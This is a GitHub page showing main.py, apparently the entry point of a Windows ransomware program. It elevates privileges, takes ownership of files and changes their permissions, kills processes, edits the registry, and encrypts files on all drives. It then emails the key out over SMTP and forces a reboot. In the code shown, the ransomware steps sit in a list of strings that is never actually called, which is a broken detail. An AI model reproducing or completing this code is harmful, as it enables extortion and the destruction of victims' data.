-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.py
35 lines (30 loc) · 1.28 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
#coding:utf-8
from modules.crypt import crypt
from modules.permission import takeown, icacls, get_admin_rights
from modules.system import delproc, regedit
from modules.network import host_connect, sendkey_smtp, keyserver
import os, sys, ctypes, time
""" THIS FILE IS PART OF THE FINAL EXECUTABLES """
# ENVIRONMENT VARIABLE
current_user = os.environ["USERNAME"]
# INITIATION OF VARIABLES TO CALL FUNCTIONS IN CLASSES
gt = takeown.GetOwn()
gr = icacls.GetPermission()
dr = delproc.Remove()
dk = delproc.Kill()
rkey = regedit.ManageKey()
# MAIN CODE
if(get_admin_rights.is_admin()):
if host_connect.keyrcv():
keyserver.getcrypt()
else:
my_list = ['crypt.genkey(current_user)', 'crypt.random_id()', 'sendkey_smtp.send_key()', 'gt.proc()', 'gr.proc()', 'dk.smart()', \
'dr.stsk()', 'rkey.setkey()', 'rkey.delkey()', 'rkey.setInit()', 'gt.dir()', 'gr.dir()', 'crypt.drives_aux()', 'crypt.filelist()', \
'dk.exp()', 'dr.exp()']
for my_function in my_list:
my_function
# REBOOT WINDOWS
os.system("\\Windows\\System32\\shutdown.exe -t 0 -r -f")
else:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv[1:]), None, 1)